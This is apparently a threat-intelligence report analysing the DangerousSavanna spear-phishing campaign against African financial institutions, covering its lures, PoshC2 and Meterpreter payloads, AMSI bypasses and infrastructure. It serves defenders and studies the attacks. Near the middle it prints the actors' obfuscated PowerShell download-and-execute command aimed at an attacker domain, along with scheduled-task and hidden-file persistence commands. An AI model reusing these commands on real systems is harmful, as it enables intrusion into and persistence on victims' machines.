Recent studies show that more than 85% of financial institutions in Central and Western Africa have repeatedly been victimized in multiple, damaging cyberattacks. In a quarter of these cases, intrusions into network systems resulted in the worst possible outcomes for the financial and banking sector: information leaks, identity theft, money transfer fraud, and bank withdrawals on false checks.
In this article, we analyze a malicious campaign called DangerousSavanna which has been targeting multiple major financial service groups in French-speaking Africa for the last two years. The threat actors behind this campaign use spear-phishing as a means of initial infection, sending emails with malicious attachments to the employees of financial institutions in at least five different French-speaking countries: Ivory Coast, Morocco, Cameroon, Senegal, and Togo. In the last few months, the campaign heavily focused on Ivory Coast. Judging by the victimology and tactics, techniques, and procedures (TTPs), we can assess with medium to high confidence that the motivation behind DangerousSavanna is likely financial.
DangerousSavanna tends to install relatively unsophisticated software tools in the infected environments. These tools are both self-written and based on open-source projects such as Metasploit, PoshC2, DWservice, and AsyncRAT. The threat actors’ creativity is on display in the initial infection stage, as they persistently pursue the employees of the targeted companies, constantly changing infection chains that utilize a wide range of malicious file types, from self-written executable loaders and malicious documents, to ISO, LNK, JAR and VBE files in various combinations. The evolving infection chains by the threat actor reflect the changes in the threat landscape we’ve seen over the past few years as infection vectors became more and more sophisticated and diverse.
This publication provides an overview of the threat actors’ TTPs, the evolution of the infection chains and lures, and the infrastructure changes. We also discuss the post-infection activities conducted by the group after they gain initial access to the targets’ internal networks.
Figure 1 – Locations of targeted financial services employees, all in French-speaking African countries.
The infection starts with spear-phishing emails written in French, usually sent to several employees of the targeted companies, all of which are medium to large financial groups in French-speaking Africa. In the early stages of the campaign, the phishing emails were sent using Gmail and Hotmail services. To increase their credibility, the actors began to use lookalike domains, impersonating other financial institutions in Africa such as the Tunisian Foreign bank, Nedbank, and others. For the last year, the actors also used spoofed email addresses of a local insurance advisory company whose domain doesn’t have an SPF record.
Figure 2 – An example of a phishing email in which the actors used the name of an existing employee at the impersonated company.
The type of phishing email attachments, and the subsequent infection chains, have also changed over the campaign time frame, from self-written executable loaders masquerading as PDFs in 2020 to a wide range of file types in 2022. DangerousSavanna quickly joined the trend of malicious actors shifting from “classic” macro-enabled documents to experiment with other file types following Microsoft’s decision to block macros obtained from the internet by default.
Since 2021, the actors have been attaching malicious documents to their phishing emails. These documents are either Word documents with macros, documents with a remote template (or, in some cases a few layers of external templates), or PDF documents, which lure the victim to download and then manually execute the next stage. All these documents, both MS Office or PDF, are written in the French language and share similar metadata such as the usernames digger, hooper davis, and HooperDEV.
Overview of the lure documents used in the campaign.
The basic flow utilizes Word documents with macros, which drop an LNK file in the Startup folder. When the LNK file is executed, it downloads from the server and executes PowerShell commands, which perform AMSI bypass and eventually install the PoshC2 implant.
Figure 5 – Phishing document with macro – infection flow.
The macros contain a lot of unused code to complicate its analysis. The code for the main functionality is trivial, containing only reverse string obfuscation and caret obfuscation to create the LNK file used to retrieve the PoshC2 implant:
During this campaign, we observed multiple variations of this flow:
- In some cases, the similar macro drops the LNK file to Desktop instead of the Startup folder; the link file is usually called lnk and needs an action by the user to run. Both Desktop and Startup link methods rely on additional actions on the infected machine and therefore avoid the automatic execution of suspicious PowerShell in a sandbox environment.
- The initial attachment might be a DOCX document that downloads an external template executing a similar macro. In some cases, we’ve seen a chain of remote templates being retrieved before the final document with the actual macro is delivered.
- Some early versions of the macro directly run the PoshC2 PowerShell dropper and skip the step with the LNK file.
- The documents containing macros are often delivered in container files, such as ZIP and ISO files.
In addition, the actors actively use PDF files to lure the user to download and manually execute the next stage. These are vbe or jar files that perform very similar actions, directly loading the PoshC2 implant or dropping an LNK file to load PoshC2.
Recently, the actors have relied mostly on PoshC2 implants to control the infected machines. Typically, after the initial infection launches PowerShell to download code from a Pastebin-like service called paste.c-net.org or a dedicated C&C server, it replies with a PowerShell PoshC2 implant, usually consisting of three byte-encoded blocks (all standard modules from PoshC2). The first two PowerShell code blocks that are executed contain two very similar AMSI bypass techniques:
The third block contains a backdoor which is responsible for communication with the C&C server. It sends requests to the server in a loop with a cookie called SessionID with a base64-encoded AES encrypted string that contains information about the victim:
The script expects the response by the C&C to be a PowerShell script as well since it passes the result to the Invoke-Expression cmdlet.
Back in October 2021, we observed a case where a malicious document from the campaign reached out to paste.c-net.org, but instead retrieved a PowerShell script that loads an AsyncRAT assembly in memory. However, this AsyncRAT build is completely unobfuscated, and in fact contains a server certificate with the CN “AsyncRAT Server”, showing the attackers gave little thought to making any changes to the open-source tool.
Figure 6 – Decompiled AsyncRAT (on the right) vs AsyncRAT Source Code on GitHub
Older document versions
The earliest versions of the documents, dated in the first half of 2021, have different macros which are significantly more obfuscated and contain more than a 1MB of junk code.
Figure 7 – A part of Vba2graph visualization of 1.7MB macros for the May 2021 document (md5:a09b19b6975e090fb4eda6ced1847b1), with the only functional flow starting from Document_Open.
One of these documents, called Nouvelles_Dispositions_Sanitaires.doc (New Sanitary Provisions.doc) uses a macro to download a PowerShell script from 4sync.com, cloud storage for syncing files between different devices, and then loads and executes in memory an assembly from https://3.8.126[.]182/minom.txt. A very similar document, thoroughly detailed back in May 2021 in a blog post by InQuest, also used 4sync to install what seemed to be a custom backdoor named Billang. It’s a .NET executable with this PDB path: C:\Users\wallstreet\source\repos\Billang\Billang\obj\Release\Billang.pdb . It collects some information about the machine it’s running on, sends it to the remote server, and retrieves another .NET executable called liko (or, based on the PDB path, WindowsFormsApp3). Among other features, this program injects a byte-reversed Meterpreter HTTPS shellcode to the mspaint.exe process. Another interesting feature of this binary is that the shellcode only launches after detecting a mouse click, perhaps as an anti-sandbox feature.
Figure 8 – Shellcode injection from WindowsFormsApp3.exe (0b1d7c043be8c696d53d63fc0c834195) to mspaint.exe.
Searching for more related files, we found additional executables written in C# that in a similar way launch a process such as notepad.exe or mspaint.exe and inject the shellcode to them, not embedded but downloaded from a C&C server, into the benign process. These simple injector executables vary little in their functionality. The difference between them is the obfuscation methods: some are packed with SmartAssembly, and some contain obfuscated variable names. However, all of the shellcode payloads we observed are Meterpreter shellcode, and of those executables that contain their debug information, all reference the PDB path starting with C:\Users\wallstreet\.
Figure 9 – Simplified infection chain for “Nouvelles Reformes 2021.pdf.exe” (7b8d0b4e718bc543de4a049e23672d79)
The second-stage executables’ purpose is to inject the final payload, the Meterpreter shellcode which is usually downloaded from the hard-coded address, to different benign Windows processes. These tools are similar to those discussed by InQuest and, unless their debugging information was removed, also contain PDB paths with the unique username wallstreet.
In late 2021, some of the infection chains started using C# executables to perform even more simple actions, simply launching PowerShell to pull the next stage from a server. At the time, the campaign was already using PoshC2 implants instead of Metasploit payloads, but the tools still have PDB paths referring to wallstreet. (Example: C:\Users\wallstreet\source\repos\PDF Document\PDF Document\obj\Release\PDF Document.pdb ).
When the initial PowerShell backdoor connected to the C&C, the attackers automatically sent AMSI bypass commands and a PoshC2 implant, which then retrieves a second stage implant to add additional functionality in the PowerShell session. Next, the actors establish persistence and perform reconnaissance, while also running some commands to try and evade detection.
To evade detection, the attackers first run two additional AMSI bypass commands, even though the backdoor always starts with AMSI bypass. They then inject shellcode into RuntimeBroker.exe and iexpress.exe, built-in Windows binaries, using the PoshC2 Inject-Shellcode module. The injected code is Sharpv4 shellcode which contains a DLL that patches AmsiScanBuffer (AMSI bypass technique) and EtwEventWrite (Event Tracing for Windows bypass technique):
Figure 10 – DLL from the attacker shellcode that patches AmsiScanBuffer and EtwEventWrite.
Figure 11 – Event log showing the shellcode injection into RuntimeBroker.exe.
It then loads the base64-encoded .NET executable containing a base64-encoded PoshC2 PowerShell implant. This chain of events eventually allows the actors to re-establish the backdoor in a stealthier manner, running as a known Microsoft process.
To set up persistence, the actors drop a batch file called WinComp.bat to the disk. First, it searches for the process iexpress.exe, the one that runs the injected shellcode. If the process exists, the script terminates. Otherwise, it starts the PowerShell backdoor using an obfuscated command, and connects to a C2 server controlled by the attackers:
FOR /F %%x IN ('tasklist /NH /FI "IMAGENAME eq %EXE%"') DO IF %%x == %EXE% goto ProcessFound
cmd cm^d.e^xe ,/c po^w^er^shel^l.ex^e -n^op -w^i^nd h^idd^en -Ex^e^c B^yp^a^ss -no^n^i -^c i"e"x((ne"w"-ob^ject ne^t.w"e"bcl^ient).d"o"wnl^oadStr"i"ng('ht""t""p://ned""b""ankplc.""4""nmn.c^om/t^t/l""l""')^)
Additionally, the actors drop another script called slmgr.vbs to the disk which simply executes WinComp.bat. To finish setting up persistence, the actors create a scheduled task to run slmgr.vbs every 5 minutes, and two different scheduled tasks to execute WinComp.bat every 6 hours. After installing the scheduled tasks, the actors add a hidden attribute on the script files to hide them from the user in the hope of avoiding detection:
schtasks /create /f /sc once /st 00:00 /du 9999:59 /ri 5 /tn WinSys /tr “C:\Users\Public\slmgr.vbs”
schtasks /create /f /sc once /st 00:00 /du 9999:59 /ri 360 /tn WinSys /tr “C:\Users\Public\WinComp.bat”
schtasks /create /f /sc once /st 00:00 /du 9999:59 /ri 360 /tn WinComp /tr “C:\Users\Public\WinComp.bat”
attrib +h WinComp.bat
attrib +h slmgr.vbs
Over time, multiple reconnaissance commands are sent to collect additional information about the infected computer and its network. This includes a command from the stage 2 PoshC2 implant to grab screenshots, simply named Get-Screenshot. The attackers also send and execute a script called Get-Ipconfig (which seems to originate from Microsoft’s now-defunct TechNet Gallery, according to a comment in the script) to collect network information from the Win32_ComputerSystem WMI class. In addition, the attackers use another open-source script called Get-ComputerInfo, which differs from the built-in cmdlet found in PowerShell. This script collects data from multiple WMI classes, including information about the computer hardware and networking. Another script sent by the attackers is called Invoke-Arpscan, which uses C# to run an ARP scan over all network interfaces found on the machine.
Finally, the attackers attempt to create a memory dump of the svchost.exe process, most likely to extract from it the existing RDP credentials.
Although the actors initially rely heavily on PoshC2 modules and extensively use its features, after some time spent on the infected machine, the actors download some additional payloads. One payload is a legitimate remote access tool called DWService, which masquerades as an Intel service. The UI-based remote access tool probably gives the attackers more freedom in their hands-on keyboard operation, with fewer chances of being caught.
Another interesting action the attackers perform on the infected machines is installing Windows Subsystem for Linux (WSL). WSL is often used by threat actors to avoid detection while running
some useful tools. In our case, the attackers installed in WSL an open-source penetration testing tool called CrackMapExe which they use to run an SMB scan of the network, perhaps for additional reconnaissance.
Among other tools related to this campaign, we found an executable named TITAN.exe, which is an open-source anti-EDR tool known as Backstab. This tool uses the SysInternals Process Explorer driver to kill protected anti-malware processes. The tool was compiled from the path C:\Users\wallstreet\Downloads\Programs\Backstab-master\x64\Debug\Backstab.pdb, which tells us our wallstreet attackers probably downloaded it directly from GitHub and compiled it in Visual Studio’s default debug configuration. Together with TITAN.exe, we found a tool called POPULAIRE.exe, internally called LoggerStamp (C:\Users\wallstreet\source\repos\LOggerStamp\Release\LOggerStamp.pdb). It’s a basic keylogger that takes advantage of the SetWindowsHookExW API to register a callback function on all keystrokes, writing them to a file bluntly named keylogger.log in the same directory as the executable. This tool doesn’t have any C&C communication mechanism and relies on other existing backdoors to send the collected data to the attackers.
DangerousSavanna targets medium or large finance-related enterprises which operate across multiple African countries. The companies that belong to these financial groups provide a wide range of banking products and services, and include not only banks but also insurance companies, microfinancing companies, financial holding companies, financial management companies, financial advisory services, etc. Despite the relatively low complexity of their tools, we observed the signs that might point out that the attackers managed to infect some of their targets. This was most likely due to the actors’ persistent attempts at infiltration. If one infection chain didn’t work out, they changed the attachment and the lure and tried targeting the same company again and again trying to find an entry point. With social engineering via spear-phishing, all it takes is one incautious click by an unsuspecting user.
Figure 12 – Overview of the changes in infection chains, infrastructure and payloads.
The timeline above shows the developments in the campaign infrastructure over time. In the early stages, the actors relied on third-party file-sharing services, such as FileSend.jp or 4sync.com. In mid-2021, a large cluster of activity was tied solely to the Pastebin-like service paste.c-net.org, which was used to store all kinds of attack stages, from multiple external templates to the final PowerShell implants. In October 2021, the team behind paste.c-net.org did an impressive cleaning operation and, likely, proactively monitored all the potentially malicious content shared using their service. Since then, the campaign uses seemingly random servers and has tried out different kinds of intermediate servers, including bit.ly and iplogger.org redirects, lookalike domains of local financial-related institutions such as nedbank.za[.]com (masquerading as NED bank) or paste.inexa-group[.]com (masquerading as fintech solutions provider Inexa), or simply relying on short-lived free DDNS services like Dynu.
In this article, we analyzed a malicious email campaign targeting financial institutions in West and North Africa. This campaign, which has been running for almost two years, often changes its tools and methods, demonstrating the actors’ knowledge of open-source tools and penetration testing software. We expect that this campaign, which shows no signs of stopping or slowing down, will continue to adjust its operations and methods with an eye to maximizing its financial gain.